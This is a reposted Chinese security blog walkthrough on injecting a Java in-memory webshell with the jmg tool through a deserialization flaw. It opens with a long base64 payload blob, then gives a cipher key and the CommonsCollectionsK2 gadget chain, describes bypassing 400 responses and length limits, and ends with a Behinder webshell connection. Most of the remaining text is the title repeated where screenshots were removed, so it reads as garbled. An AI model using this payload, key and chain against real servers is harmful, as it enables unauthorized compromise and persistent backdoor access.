34mtLi96aH9o6Y0ey9gmwbpiQH8N584E4z6YeNcsClFqcGcPEgE1lzmTu3yOMFcnrthBvkn4xcg3+++g QryXMGl7b4dZKYQ57oJ49TXKmtDcolHaRukPyYF4ZaluwkerxZpc/9BmHfQ36soZvCU3600zsS6xRzld AM77lsW6HxbfC6S7spNHOX8OjfRf/fJhtw3hQ9Lv1SFxhCEWbmqv++MMkaDNkNqFWynFCSvi46jF8x+y

+T3LMaYl9jhfUoQt/FkGtdi6aLdMD0x2ZqoH7uarq3wcqlt537ORm1qzUgrCpwnZww1vZDfJbflAHJsx ZVjPX1Hl66G4XuLxezdS5LwQAZ53xFkdFK8937rKUCgJLMS9rlr2Ju/DRT9gsM1gVq2QUIVDk1Vi7r5x y2sjlMsAsw0mEI7PA7JDvVsDijAJvKM0o9YjOdNJRwy9GKkeTgcVtIVRkoeGtafbZkzoYY2jkmQY9JIr QwdNWNtMG18gK691iwaa3v0+lZ0NdIkEH6CfaYy0drH9nGQImHHz1KOKbapM85CSi++RBjzEkkVWGO0Z IW9k8jKY2f0Pwg83ybKG5YRzvgVoMM/+4lcPFavRRfLymx4E/j35ZcS0m3CAuYASdYUJVoCKX4PRyCQV h6+ryi/qkWjWHtyzB0tijiU1C/7GxilmzApDGLn7hHwTIsy5IVEh1x1Yc+BtxBoBMlDqp/H/T1zWef2h mcFfJUWw5UOLfDCGH6vd88FghnTtzs7VtVFxDF4ieqa/8IBW4ZAQ4aNVcmS9dnu8qDEwAehLvc8b/Sz5

/tKkO/bZOOX0cEcKFb6CZ8ZL2R+D7Vi1Loky0DlQCLoBJkBoUm3m9wxvSc5XufQIlYanPZoQFZDhI434

CJGeOLL2C4i3J7uRQW8zafXU3EKaeatm0szcPnbOre55pY2QTRbQwh2nPTEO0jAabg+UziuveYYRs8ji pwEpYFTiD60D8nSNq2YujEMy5Jt1xClMSFouB0SQC2RHLC6F7z3u++6v3QWkuQj5b1UC5tz8ABQ5VTYH

hFn2OdiJtX6TRk3e993TU3ML3pQMe1RJaXd5dPgyL1DwB0IgxaYt83rIZv1ydkbs9VKVJqXyr76xvjR1 K48pjvitWUPMr2baVVvUOpOYvenxfGDpd5mBgiPtXldjERyhdzL/uIVTvNooW7rXUlEZWazHY4E5l635 9cHBFFd9Iny1xpmPWj7YyefYDn+z0Fbwbwdmh3Iu0iHNrsOTHfHkYsBPSpD6iUEfjNF8uyKCUWrfEm0H pGZbi3s+4DEZsH8458XoMek/+AEcD2J/qkqQluOVtgk2HZ4sJhMpvzpiwnxIUC6tFJKoH01WF71zHkRe rjUvWSuUgJGtoSs/ZfN30vY2CTNyagMQHLRI0PgAhnpQNZoiQc6k+Z2QXhz7QFrQPdy2Bgkm2mr2nntB bh1ozt37x9kuaCanFfQSH/0MiWwkY9SzHOJM5b408Np2+u9MslCAinue/gpuguy1fVyt18fu7yZmbc3T VlqK6psdXp5eNzRoL26ByrziHccu4Amw54a9T6BJlRzvpn6fwZmZMyegqtRtFla5pM4sQwAOyyGQvcLg sKpnRna/07bTc6lXtdx1JKtk7ZjwLCoO7fkcMd8pBbBnZe8CzHVM/uSm9v+ceEDWu5QKyL65krTjd0vO WuXmsakRn00XnnMO20pU4vZHUyhYhyrCptxkyWnVT1RbW4jHDYZt7ZVpAa/4JweIMPhgxVGfYYDMG/hh RPgu2hAOddknNOhv6YZo8w009hH2jBp6AWdYnsx5oUNv5AlN415K6w==

抓取利群执行命令的数据包 之后直接替换

利用jmg快速注入内存马

发现目标响应400这里判断目标进行了长度限制,这里继续利用yso的长度限制让偶共

利用jmg快速注入内存马


利用jmg快速注入内存马


之后可以看到

利用jmg快速注入内存马

发送正常

利用jmg快速注入内存马


这里docker环境有问题   无法注入内存马

利用jmg快速注入内存马

这里换成了tomcat环境

Key:kPH+bIxk5D2deZiIxcaaaA==

使用利用链:CommonsCollectionsK2

利用jmg快速注入内存马

又是400直接绕过

利用jmg快速注入内存马

冰蝎链接

利用jmg快速注入内存马


原文始发于微信公众号(老鑫安全):利用jmg快速注入内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月11日15:35:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用jmg快速注入内存马https://cn-sec.com/archives/2287055.html

发表评论

匿名网友 填写信息